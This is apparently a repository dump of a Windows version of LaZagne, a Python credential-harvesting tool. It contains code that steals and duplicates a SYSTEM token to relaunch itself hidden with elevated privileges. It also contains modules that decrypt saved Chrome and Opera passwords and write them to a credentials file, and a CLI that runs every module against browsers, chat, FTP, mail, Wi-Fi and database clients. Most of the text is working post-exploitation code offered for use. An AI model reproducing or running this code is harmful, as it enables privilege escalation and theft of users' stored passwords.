48 |
49 | class TOKEN_USER(Structure):
50 | _fields_ = [
51 | ("User", SID_AND_ATTRIBUTES),]
52 |
53 | class LUID_AND_ATTRIBUTES(Structure):
54 | _fields_ = [
55 | ("Luid", LUID),
56 | ("Attributes", DWORD),
57 | ]
58 |
59 | class TOKEN_PRIVILEGES(Structure):
60 | _fields_ = [
61 | ("PrivilegeCount", DWORD),
62 | ("Privileges", LUID_AND_ATTRIBUTES),
63 | ]
64 |
65 | class PROCESS_INFORMATION(Structure):
66 | _fields_ = [
67 | ('hProcess', HANDLE),
68 | ('hThread', HANDLE),
69 | ('dwProcessId', DWORD),
70 | ('dwThreadId', DWORD),
71 | ]
72 |
73 | class STARTUPINFO(Structure):
74 | _fields_ = [
75 | ('cb', DWORD),
76 | ('lpReserved', LPSTR),
77 | ('lpDesktop', LPSTR),
78 | ('lpTitle', LPSTR),
79 | ('dwX', DWORD),
80 | ('dwY', DWORD),
81 | ('dwXSize', DWORD),
82 | ('dwYSize', DWORD),
83 | ('dwXCountChars', DWORD),
84 | ('dwYCountChars', DWORD),
85 | ('dwFillAttribute', DWORD),
86 | ('dwFlags', DWORD),
87 | ('wShowWindow', WORD),
88 | ('cbReserved2', WORD),
89 | ('lpReserved2', LPVOID), # LPBYTE
90 | ('hStdInput', HANDLE),
91 | ('hStdOutput', HANDLE),
92 | ('hStdError', HANDLE),
93 | ]
94 |
95 | def GetUserName():
96 | nSize = DWORD(0)
97 | windll.advapi32.GetUserNameA(None, byref(nSize))
98 | error = GetLastError()
99 |
100 | ERROR_INSUFFICIENT_BUFFER = 122
101 | if error != ERROR_INSUFFICIENT_BUFFER:
102 | raise WinError(error)
103 |
104 | lpBuffer = create_string_buffer('', nSize.value + 1)
105 |
106 | success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize))
107 | if not success:
108 | raise WinError()
109 | return lpBuffer.value
110 |
111 | def GetTokenSid(hToken):
112 | """Retrieve SID from Token"""
113 | dwSize = DWORD(0)
114 | pStringSid = LPSTR()
115 | TokenUser = 1
116 | windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize))
117 | address = windll.kernel32.LocalAlloc(0x0040, dwSize)
118 | windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
119 | pToken_User = cast(address, POINTER(TOKEN_USER))
120 | windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid))
121 | sid = pStringSid.value
122 | windll.kernel32.LocalFree(address)
123 | return sid
124 |
125 | def EnablePrivilege(privilegeStr, hToken = None):
126 | """Enable Privilege on token, if no token is given the function gets the token of the current process."""
127 | if hToken == None:
128 | TOKEN_ADJUST_PRIVILEGES = 0x00000020
129 | TOKEN_QUERY = 0x0008
130 | hToken = HANDLE(INVALID_HANDLE_VALUE)
131 | windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) )
132 |
133 | privilege_id = LUID()
134 | windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
135 |
136 | SE_PRIVILEGE_ENABLED = 0x00000002
137 | laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
138 | tp = TOKEN_PRIVILEGES(1, laa)
139 |
140 | windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
141 |
142 | def procids():
143 | """A list of every pid, sorted but first pids is winlogon.exe"""
144 |
145 | count = 32
146 | while True:
147 | ProcessIds = ( DWORD * count)()
148 | cb = sizeof( ProcessIds )
149 | BytesReturned = DWORD()
150 | if windll.psapi.EnumProcesses( byref(ProcessIds), cb, byref(BytesReturned)):
151 | if BytesReturned.value < cb:
152 | break
153 | else:
154 | count *= 2
155 |
156 | for index in range(BytesReturned.value / sizeof( DWORD ) ):
157 | ProcessId = ProcessIds[index]
158 | hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId)
159 | if hProcess:
160 | ImageFileName = ( c_char * 260 )()
161 | if windll.psapi.GetProcessImageFileNameA(hProcess, ImageFileName, 260) > 0:
162 | filename = os.path.basename(ImageFileName.value)
163 | if filename == "winlogon.exe":
164 | winlogon_pid = ProcessIds[index]
165 | windll.kernel32.CloseHandle(hProcess)
166 |
167 | pids = [ ProcessIds[index] for index in range( BytesReturned.value / sizeof(DWORD)) ]
168 | pids.remove(winlogon_pid)
169 |
170 | return [ winlogon_pid ] + pids
171 |
172 | def GetLocalSystemProcessToken():
173 | """Takes a list of pids and checks if the process has a token with SYSTEM user, if so it returns the token handle."""
174 | pids = procids()
175 |
176 | for pid in pids:
177 | try:
178 | hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
179 |
180 | hToken = HANDLE(INVALID_HANDLE_VALUE)
181 | windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken))
182 |
183 | ##If token SID is the SID of SYSTEM, return the token handle.
184 | if GetTokenSid( hToken ) == "S-1-5-18":
185 | windll.kernel32.CloseHandle(hProcess)
186 | return hToken
187 |
188 | windll.kernel32.CloseHandle(hToken)
189 | windll.kernel32.CloseHandle(hProcess)
190 |
191 | except WindowsError, e :
192 | pass
193 |
194 | def get_system_priv():
195 | current_filepath = sys.argv[0]
196 |
197 | ##Enable SE_DEBUG_NAME(debugprivileges) on the current process.
198 | EnablePrivilege("SeDebugPrivilege")
199 |
200 | ##Get a SYSTEM user token.
201 | hToken = GetLocalSystemProcessToken()
202 |
203 | ##Duplicate it to a Primary Token, so it can be passed to CreateProcess.
204 | hTokendupe = HANDLE( INVALID_HANDLE_VALUE )
205 |
206 | SecurityImpersonation = 2
207 | TokenPrimary = 1
208 | windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) )
209 |
210 | ##Now we have duplicated the token, we can close the orginal.
211 | windll.kernel32.CloseHandle(hToken)
212 |
213 | ##Enable SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME, these are both needed to start a process with a token.
214 | EnablePrivilege( "SeAssignPrimaryTokenPrivilege", hToken = hTokendupe )
215 | EnablePrivilege( "SeIncreaseQuotaPrivilege", hToken = hTokendupe )
216 |
217 | ##Enable SE_IMPERSONATE_NAME, so that we can impersonate the SYSTEM token.
218 | EnablePrivilege("SeImpersonatePrivilege")
219 |
220 | windll.advapi32.ImpersonateLoggedOnUser( hTokendupe )
221 |
222 | ##Start the process with the token.
223 | try:
224 | # Starting shell as SYSTEM
225 | lpProcessInformation = PROCESS_INFORMATION()
226 | lpStartupInfo = STARTUPINFO()
227 | CREATE_NEW_CONSOLE = 0x00000010
228 | CREATE_NO_WINDOW = 0x08000000
229 |
230 | windll.advapi32.CreateProcessAsUserA(hTokendupe, r"%s" % current_filepath, " wifi --HiddenWifiArgs" , None, None, True, CREATE_NO_WINDOW, None, None, byref(lpStartupInfo), byref(lpProcessInformation))
231 | except WindowsError, e :
232 | pass
233 |
234 | ##Clean up, revert back to self and close the handles
235 | windll.advapi32.RevertToSelf()
236 | windll.kernel32.CloseHandle(hTokendupe)
237 |
238 |
239 |
240 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/header.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from colorama import init, Fore, Back, Style
3 |
4 | class Header():
5 | def __init__(self):
6 | init() # for colorama
7 |
8 | def first_title(self):
9 | init()
10 | print Style.BRIGHT + Fore.WHITE
11 | print '|====================================================================|'
12 | print '| |'
13 | print '| The LaZagne Project |'
14 | print '| |'
15 | print '| ! BANG BANG ! |'
16 | print '| |'
17 | print '|====================================================================|'
18 | print Style.RESET_ALL
19 |
20 | # info option for the logging
21 | def title(self, title):
22 | print Style.BRIGHT + Fore.WHITE + '------------------- ' + title + ' passwords -----------------\n' + Style.RESET_ALL
23 |
24 | # Subtitle
25 | def title1(self, title1):
26 | print Style.BRIGHT + Fore.WHITE + '[*] ' + title1 + '\n' + Style.RESET_ALL
27 |
28 | # debug option for the logging
29 | def title_info(self, title):
30 | logging.info(Style.BRIGHT + Fore.WHITE + '------------------- ' + title + ' passwords -----------------\n' + Style.RESET_ALL)
31 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/manageModules.py:
--------------------------------------------------------------------------------
1 | # browsers
2 | from softwares.browsers.mozilla import Mozilla
3 | from softwares.browsers.chrome import Chrome
4 | from softwares.browsers.opera import Opera
5 | from softwares.browsers.ie import IE
6 | # windows
7 | from softwares.windows.network import Network
8 | from softwares.windows.dot_net import Dot_net
9 | from softwares.windows.secrets import Secrets
10 | # sysadmin
11 | from softwares.sysadmin.filezilla import Filezilla
12 | from softwares.sysadmin.cyberduck import Cyberduck
13 | from softwares.sysadmin.puttycm import Puttycm
14 | from softwares.sysadmin.winscp import WinSCP
15 | from softwares.sysadmin.coreftp import CoreFTP
16 | from softwares.sysadmin.ftpnavigator import FtpNavigator
17 | # svn
18 | from softwares.svn.tortoise import Tortoise
19 | # chats
20 | from softwares.chats.skype import Skype
21 | from softwares.chats.pidgin import Pidgin
22 | from softwares.chats.jitsi import Jitsi
23 | # wifi
24 | from softwares.wifi.wifi import Wifi
25 | from softwares.wifi.wifipass import WifiPass
26 | # mails
27 | from softwares.mails.outlook import Outlook
28 | # databases
29 | from softwares.databases.sqldeveloper import SQLDeveloper
30 | from softwares.databases.squirrel import Squirrel
31 | from softwares.databases.dbvis import Dbvisualizer
32 |
33 | def get_categories():
34 | category = {
35 | 'chats': {'help': 'Chat clients supported'},
36 | 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
37 | 'database': {'help': 'SQL clients supported'},
38 | 'svn': {'help': 'SVN clients supported'},
39 | 'mails': {'help': 'Email clients supported'},
40 | 'wifi': {'help': 'Wifi'},
41 | 'browsers': {'help': 'Web browsers supported'},
42 | 'windows': {'help': 'Windows credentials (credential manager, etc.)'}
43 | }
44 | return category
45 |
46 | def get_modules():
47 | moduleNames = [
48 | Dbvisualizer(),
49 | Dot_net(),
50 | Chrome(),
51 | CoreFTP(),
52 | Cyberduck(),
53 | Filezilla(),
54 | FtpNavigator(),
55 | IE(),
56 | Jitsi(),
57 | Mozilla(),
58 | Network(),
59 | Opera(),
60 | Outlook(),
61 | Pidgin(),
62 | Puttycm(),
63 | Tortoise(),
64 | Secrets(),
65 | Skype(),
66 | SQLDeveloper(),
67 | Squirrel(),
68 | Wifi(),
69 | WifiPass(),
70 | WinSCP()
71 | ]
72 | return moduleNames
73 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/moduleInfo.py:
--------------------------------------------------------------------------------
1 | # name => Name of a class
2 | # category => windows / browsers / etc
3 | # options => dictionary
4 | # - command
5 | # - action
6 | # - dest
7 | # - help
8 | # ex: ('-s', action='store_true', dest='skype', help='skype')
9 | # options['command'] = '-s'
10 | # options['action'] = 'store_true'
11 | # options['dest'] = 'skype'
12 | # options['help'] = 'skype'
13 |
14 | class ModuleInfo():
15 | def __init__(self, name, category, options, suboptions = []):
16 | self.name = name
17 | self.category = category
18 | self.options = options
19 | self.suboptions = suboptions
20 |
21 | def name(self):
22 | return self.name
23 |
24 | def category(self):
25 | return self.category
26 |
27 | def options(self):
28 | return self.options
29 |
30 | def suboptions(self):
31 | return self.suboptions
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/write_output.py:
--------------------------------------------------------------------------------
1 | from constant import constant
from time import gmtime, strftime
import os, getpass, socket
import logging
from config.header import Header
from colorama import init, Fore, Back, Style
init() # init the colorama function
# --------------------------- Functions used to write ---------------------------
def write_header():
time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
header = '''|====================================================================|\r\n
| |\r\n
| Credentsials discovery |\r\n
| |\r\n
| ! BANG BANG ! |\r\n
| |\r\n
|====================================================================|\r\n\r\n
- Date: ''' + time + '''\n\r
- Username: ''' + getpass.getuser() + ''' \r\n
- Hostname: ''' + socket.gethostname() + ''' \r\n\r\n
------------------------------ Results ------------------------------\r\n\r\n'''
open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(header)
def write_footer():
footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nbPasswordFound)
open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(footer)
def write_credentials(pwdFound, category):
tmp = "############ %s passwords ############\r\n\r\n" % category
for pwd in pwdFound:
for p in pwd.keys():
tmp = str(tmp) + str(p) + ": " + str(pwd[p]) + "\r\n"
tmp = str(tmp) + "\r\n"
open(constant.folder_name + os.sep + 'credentials.txt',"a+b").write(tmp)
def checks_write(values, category):
if values:
if constant.output == 'txt':
try:
write_credentials(values, category)
logging.info('[+] Credentials stored successfully on the file: %s\\credentials.txt\n' % constant.folder_name)
except:
logging.info('Couldn\'t write the results file\n')
# --------------------------- End of functions used to write ---------------------------
# --------------------------- Output functions ---------------------------
def print_footer():
footer = '\n[+] %s passwords have been found.\n' % str(constant.nbPasswordFound)
if logging.getLogger().isEnabledFor(logging.INFO) == False:
footer += 'For more information launch it again with the -v option\n'
print footer
# print output if passwords have been found
def print_output(software_name, pwdFound, title1 = False):
if pwdFound:
# if the debug logging level is not apply => print the title
if logging.getLogger().isEnabledFor(logging.INFO) == False:
if not title1:
Header().title(software_name)
toWrite = []
password_category = False
for pwd in pwdFound:
# detect which kinds of password has been found
lower_list = [s.lower() for s in pwd.keys()]
password = [s for s in lower_list if "password" in s]
if password:
password_category = password
else:
key = [s for s in lower_list if "key" in s] # for the wifi
if key:
password_category = key
else:
hash = [s for s in lower_list if "hash" in s]
if hash:
password_category = hash
# No password found
if not password_category:
print_debug("FAILED", "Password not found !!!")
else:
print_debug("OK", '%s found !!!' % password_category[0].title())
toWrite.append(pwd)
# Store all passwords found on a table => for dictionary attack if master password set
constant.nbPasswordFound += 1
try:
constant.passwordFound.append(pwd[password_category[0]])
except:
pass
for p in pwd.keys():
print '%s: %s' % (p, pwd[p])
print
# write credentials into a text file
checks_write(toWrite, software_name)
else:
logging.info("[!] No passwords found\n")
def print_debug(error_level, message):
# print when password is found
if error_level == 'OK':
print Fore.GREEN + message + Style.RESET_ALL
# print when password is not found
elif error_level == 'FAILED':
print Style.BRIGHT + Fore.RED + message + Style.RESET_ALL
# print messages depending of their criticism
elif error_level == 'CRITICAL':
logging.critical(Style.BRIGHT + Fore.RED + '[CRITICAL] %s\n' % message + Style.RESET_ALL)
elif error_level == 'ERROR':
logging.error(Style.BRIGHT + Fore.RED + '[ERROR] %s\n' % message + Style.RESET_ALL)
elif error_level == 'WARNING':
logging.warning(Fore.CYAN + '[WARNING] %s\n' % message + Style.RESET_ALL)
elif error_level == 'DEBUG':
logging.debug('[DEBUG] %s\n' % message)
elif error_level == 'INFO':
logging.info('%s\n' % message)
else:
logging.info('[%s] %s' % (error_level, message))
# --------------------------- End of output functions ---------------------------
--------------------------------------------------------------------------------
/Windows/src/LaZagne/laZagne.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | ##############################################################################
4 | # #
5 | # By Alessandro ZANNI #
6 | # #
7 | ##############################################################################
8 |
9 | # Disclaimer: Do Not Use this program for illegal purposes ;)
10 |
11 | import argparse
12 | import time, sys, os
13 | import logging
14 | from softwares.browsers.mozilla import Mozilla
15 |
16 | # Configuration
17 | from config.header import Header
18 | from config.write_output import write_header, write_footer, print_footer
19 | from config.constant import *
20 | from config.manageModules import get_categories, get_modules
21 |
22 | # Print the title
23 | Header().first_title()
24 |
25 | category = get_categories()
26 | moduleNames = get_modules()
27 |
28 | # Define a dictionary for all modules
29 | modules = {}
30 | for categoryName in category:
31 | modules[categoryName] = {}
32 |
33 | # Add all modules to the dictionary
34 | for module in moduleNames:
35 | modules[module.category][module.options['dest']] = module
36 | modules['mails']['thunderbird'] = Mozilla(True) # For thunderbird (firefox and thunderbird use the same class)
37 |
38 | def output():
39 | if args['write'] == True:
40 | constant.output = 'txt'
41 | if not os.path.exists(constant.folder_name):
42 | os.makedirs(constant.folder_name)
43 | write_header()
44 | del args['write']
45 |
46 | def verbosity():
47 | # write on the console + debug file
48 | if args['verbose']==0: level=logging.CRITICAL
49 | elif args['verbose'] == 1: level=logging.INFO
50 | elif args['verbose']>=2: level=logging.DEBUG
51 |
52 | FORMAT = "%(message)s"
53 | formatter = logging.Formatter(fmt=FORMAT)
54 | stream = logging.StreamHandler()
55 | stream.setFormatter(formatter)
56 | root = logging.getLogger()
57 | root.setLevel(level)
58 | # If other logging are set
59 | for r in root.handlers:
60 | r.setLevel(logging.CRITICAL)
61 | root.addHandler(stream)
62 | del args['verbose']
63 |
64 | def launch_module(b):
65 | ok = False
66 | # Launch only a specific module
67 | for i in args:
68 | if args[i] and i in b:
69 | b[i].run()
70 | ok = True
71 |
72 | # Launch all modules
73 | if not ok:
74 | for i in b:
75 | b[i].run()
76 |
77 | def manage_advanced_options():
78 | if 'manually' in args:
79 | constant.manually = args['manually']
80 | if 'path' in args:
81 | constant.path = args['path']
82 | if 'bruteforce' in args:
83 | constant.bruteforce = args['bruteforce']
84 | if 'defaultpass' in args:
85 | constant.defaultpass = args['defaultpass']
86 | if 'specific_path' in args:
87 | constant.specific_path = args['specific_path']
88 | if 'mails' in args['auditType']:
89 | constant.mozilla_software = 'Thunderbird'
90 | elif 'browsers' in args['auditType']:
91 | constant.mozilla_software = 'Firefox'
92 | if 'master_pwd' in args:
93 | constant.jitsi_masterpass = args['master_pwd']
94 | if 'historic' in args:
95 | constant.ie_historic = args['historic']
96 |
97 | # Run only one module
98 | def runModule():
99 | manage_advanced_options()
100 | launch_module(modules[args['auditType']])
101 |
102 | # Run all
103 | def runAllModules():
104 | manage_advanced_options()
105 | for categoryName in category:
106 | if categoryName == 'browsers':
107 | constant.mozilla_software = 'Firefox'
108 | elif categoryName == 'mails':
109 | constant.mozilla_software = 'Thunderbird'
110 | launch_module(modules[categoryName])
111 |
112 | # Prompt help if an error occurs
113 | class MyParser(argparse.ArgumentParser):
114 | def error(self, message):
115 | sys.stderr.write('error: %s\n\n' % message)
116 | self.print_help()
117 | sys.exit(2)
118 |
119 | parser = MyParser()
120 |
121 | # ------------------------------------------- Permanent options -------------------------------------------
122 | # Version and verbosity
123 | PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
124 | PPoptional._optionals.title = 'optional arguments'
125 | PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level')
126 | PPoptional.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version')
127 |
128 | # Output
129 | PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
130 | PWrite._optionals.title = 'output'
131 | PWrite.add_argument('-w', dest='write', action= 'store_true', help = 'write a text file on the current directory')
132 |
133 | # ------------------------------------------- Add options and suboptions to all modules -------------------------------------------
134 | all_subparser = []
135 | for c in category:
136 | category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
137 | category[c]['parser']._optionals.title = category[c]['help']
138 |
139 | # Manage options
140 | category[c]['subparser'] = []
141 | for module in modules[c].keys():
142 | m = modules[c][module]
143 | category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help'])
144 |
145 | # Manage all suboptions by modules
146 | if m.suboptions and m.name != 'thunderbird':
147 | tmp = []
148 | for sub in m.suboptions:
149 | tmp_subparser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
150 | tmp_subparser._optionals.title = sub['title']
151 | if 'type' in sub:
152 | tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help'])
153 | else:
154 | tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help'])
155 | tmp.append(tmp_subparser)
156 | all_subparser.append(tmp_subparser)
157 | category[c]['subparser'] += tmp
158 |
159 | # ------------------------------------------- Print all -------------------------------------------
160 | parents = [PPoptional] + all_subparser + [PWrite]
161 | dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runAllModules}}
162 | for c in category:
163 | parser_tab = [PPoptional, category[c]['parser']]
164 | if 'subparser' in category[c]:
165 | if category[c]['subparser']:
166 | parser_tab += category[c]['subparser']
167 | parser_tab += [PWrite]
168 | dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}}
169 | dic = dict(dic.items() + dic_tmp.items())
170 |
171 | #2- Main commands
172 | subparsers = parser.add_subparsers(help='Choose a main command')
173 | for d in dic:
174 | subparsers.add_parser(d,parents=dic[d]['parents'],help=dic[d]['help']).set_defaults(func=dic[d]['func'],auditType=d)
175 |
176 | # ------------------------------------------- Parse arguments -------------------------------------------
177 | args = dict(parser.parse_args()._get_kwargs())
178 | arguments = parser.parse_args()
179 | start_time = time.time()
180 | output()
181 | verbosity()
182 | arguments.func()
183 |
184 | # Print the number of passwords found
185 | if constant.output == 'txt':
186 | write_footer()
187 | print_footer()
188 |
189 | elapsed_time = time.time() - start_time
190 | print 'elapsed time = ' + str(elapsed_time)
191 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/browsers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/softwares/browsers/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/browsers/chrome.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | import win32crypt
3 | import sys, os, platform
4 | from config.constant import *
5 | from config.write_output import print_output, print_debug
6 | from config.header import Header
7 | from config.moduleInfo import ModuleInfo
8 |
9 | class Chrome(ModuleInfo):
10 | def __init__(self):
11 | options = {'command': '-c', 'action': 'store_true', 'dest': 'chrome', 'help': 'chrome'}
12 | ModuleInfo.__init__(self, 'chrome', 'browsers', options)
13 |
14 | # main function
15 | def run(self):
16 | # print title
17 | Header().title_info('Chrome')
18 |
19 | database_path = ''
20 | if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ:
21 | # For Win7
22 | path_Win7 = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data'
23 |
24 | # For XP
25 | path_XP = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default\Login Data'
26 |
27 | if os.path.exists(path_XP):
28 | database_path = path_XP
29 |
30 | elif os.path.exists(path_Win7):
31 | database_path = path_Win7
32 |
33 | else:
34 | print_debug('INFO', 'Google Chrome not installed.')
35 | return
36 | else:
37 | print_debug('ERROR', 'Environment variables (HOMEDRIVE or HOMEPATH) have not been found')
38 | return
39 |
40 | # Connect to the Database
41 | try:
42 | conn = sqlite3.connect(database_path)
43 | cursor = conn.cursor()
44 | except Exception,e:
45 | print_debug('DEBUG', '{0}'.format(e))
46 | print_debug('ERROR', 'An error occured opening the database file')
47 | return
48 |
49 | # Get the results
50 | try:
51 | cursor.execute('SELECT action_url, username_value, password_value FROM logins')
52 | except:
53 | print_debug('ERROR', 'Google Chrome seems to be used, the database is locked. Kill the process and try again !')
54 | return
55 |
56 | pwdFound = []
57 | for result in cursor.fetchall():
58 | values = {}
59 |
60 | try:
61 | # Decrypt the Password
62 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
63 | except Exception,e:
64 | password = ''
65 | print_debug('DEBUG', '{0}'.format(e))
66 |
67 | if password:
68 | values['Site'] = result[0]
69 | values['Username'] = result[1]
70 | values['Password'] = password
71 | pwdFound.append(values)
72 |
73 | # print the results
74 | print_output("Chrome", pwdFound)
75 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/softwares/browsers/opera.py:
--------------------------------------------------------------------------------
1 | import sys, struct, hashlib, binascii, re, os
2 | from Crypto.Cipher import DES3
3 | from ConfigParser import RawConfigParser
4 | import sqlite3, win32crypt
5 | from config.constant import *
6 | from config.write_output import print_output, print_debug
7 | from config.header import Header
8 | from config.moduleInfo import ModuleInfo
9 |
10 | CIPHERED_FILE = ''
11 |
12 | class Opera(ModuleInfo):
13 | def __init__(self):
14 | options = {'command': '-o', 'action': 'store_true', 'dest': 'opera', 'help': 'opera'}
15 | ModuleInfo.__init__(self, 'opera', 'browsers', options)
16 |
17 | def run(self):
18 | # print title
19 | Header().title_info('Opera')
20 |
21 | # retrieve opera folder
22 | path = self.get_path()
23 |
24 | if path == 'env_variable_error':
25 | print_debug('ERROR', 'The APPDATA environment variable is not defined.')
26 | return
27 | elif not path:
28 | print_debug('INFO', 'Opera is not installed.')
29 | return
30 |
31 | passwords = ''
32 | # old versions
33 | if CIPHERED_FILE == 'wand.dat':
34 | # check the use of master password
35 | if not os.path.exists(path + os.sep + 'operaprefs.ini'):
36 | print_debug('WARNING', 'The preference file operaprefs.ini has not been found.')
37 | return
38 | else:
39 |
40 | if self.masterPasswordUsed(path) == '1':
41 | print_debug('WARNING', 'A master password is used.')
42 | elif self.masterPasswordUsed(path) != '0':
43 | print_debug('ERROR', 'An error occurs, the use of master password is not sure.')
44 |
45 | passwords = self.decipher_old_version(path)
46 | if passwords:
47 | self.parse_results(passwords)
48 | else:
49 | print_debug('INFO', 'The wand.dat seems to be empty')
50 | # new versions
51 | else:
52 | passwords = self.decipher_new_version(path)
53 |
54 | def get_path(self):
55 | global CIPHERED_FILE
56 | if 'APPDATA' in os.environ:
57 | # version less than 10
58 | if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera\profile'):
59 | CIPHERED_FILE = 'wand.dat'
60 | return os.environ['APPDATA'] + '\Opera\Opera\profile'
61 |
62 | # version more than 10
63 | if os.path.exists(os.environ['APPDATA'] + '\Opera\Opera'):
64 | CIPHERED_FILE = 'wand.dat'
65 | return os.environ['APPDATA'] + '\Opera\Opera'
66 |
67 | # new versions
68 | elif os.path.exists(os.environ['APPDATA'] + '\Opera Software\Opera Stable'):
69 | CIPHERED_FILE = 'Login Data'
70 | return os.environ['APPDATA'] + '\Opera Software\Opera Stable'
71 |
72 | else:
73 | return None
74 | else:
75 | return 'env_variable_error'
76 |
77 | def decipher_old_version(self, path):
78 | salt = '837DFC0F8EB3E86973AFFF'
79 |
80 | # retrieve wand.dat file
81 | if not os.path.exists(path + os.sep + 'wand.dat'):
82 | print_debug('WARNING', 'wand.dat file has not been found.')
83 | return
84 |
85 | # read wand.dat
86 | f = open(path + os.sep + 'wand.dat', 'rb')
87 | file = f.read()
88 | fileSize = len(file)
89 |
90 | passwords = []
91 | offset = 0
92 | while offset < fileSize:
93 |
94 | offset = file.find('\x08', offset) + 1
95 | if offset == 0:
96 | break
97 |
98 | tmp_blockLength = offset - 8
99 | tmp_datalen = offset + 8
100 |
101 | blockLength = struct.unpack('!i', file[tmp_blockLength : tmp_blockLength + 4])[0]
102 | datalen = struct.unpack('!i', file[tmp_datalen : tmp_datalen + 4])[0]
103 |
104 | binary_salt = binascii.unhexlify(salt)
105 | desKey = file[offset: offset + 8]
106 | tmp = binary_salt + desKey
107 |
108 | md5hash1 = hashlib.md5(tmp).digest()
109 | md5hash2 = hashlib.md5(md5hash1 + tmp).digest()
110 |
111 | key = md5hash1 + md5hash2[0:8]
112 | iv = md5hash2[8:]
113 |
114 | data = file[offset + 8 + 4: offset + 8 + 4 + datalen]
115 |
116 | des3dec = DES3.new(key, DES3.MODE_CBC, iv)
117 | plaintext = des3dec.decrypt(data)
118 |
119 | plaintext = re.sub(r'[^\x20-\x7e]', '', plaintext)
120 | passwords.append(plaintext)
121 |
122 | offset += 8 + 4 + datalen
123 | return passwords
124 |
125 | def decipher_new_version(self, path):
126 | database_path = path + os.sep + 'Login Data'
127 | if os.path.exists(database_path):
128 |
129 | # Connect to the Database
130 | conn = sqlite3.connect(database_path)
131 | cursor = conn.cursor()
132 |
133 | # Get the results
134 | try:
135 | cursor.execute('SELECT action_url, username_value, password_value FROM logins')
136 | except Exception,e:
137 | print_debug('DEBUG', '{0}'.format(e))
138 | print_debug('ERROR', 'Opera seems to be used, the database is locked. Kill the process and try again !')
139 | return
140 |
141 | pwdFound = []
142 | for result in cursor.fetchall():
143 | values = {}
144 |
145 | # Decrypt the Password
146 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
147 | if password:
148 | values['Site'] = result[0]
149 | values['Username'] = result[1]
150 | values['Password'] = password
151 | pwdFound.append(values)
152 |
153 | # print the results
154 | print_output("Opera", pwdFound)
155 | else:
156 | print_debug('No passwords stored\nThe database Login Data is not present.')
157 |
158 | def masterPasswordUsed(self, path):
159 |
160 | # the init file is not well defined so lines have to be removed before to parse it
161 | cp = RawConfigParser()
162 | f = open(path + os.sep + 'operaprefs.ini', 'rb')
163 |
164 | f.readline() # discard first line
165 | while 1:
166 | try:
167 | cp.readfp(f)
168 | break
169 | except Exception,e:
170 | print_debug('DEBUG', '{0}'.format(e))
171 | f.readline() # discard first line
172 | try:
173 | master_pass = cp.get('Security Prefs','Use Paranoid Mailpassword')
174 | return master_pass
175 | except Exception,e:
176 | print_debug('DEBUG', '{0}'.format(e))
177 | return False
178 |
179 |
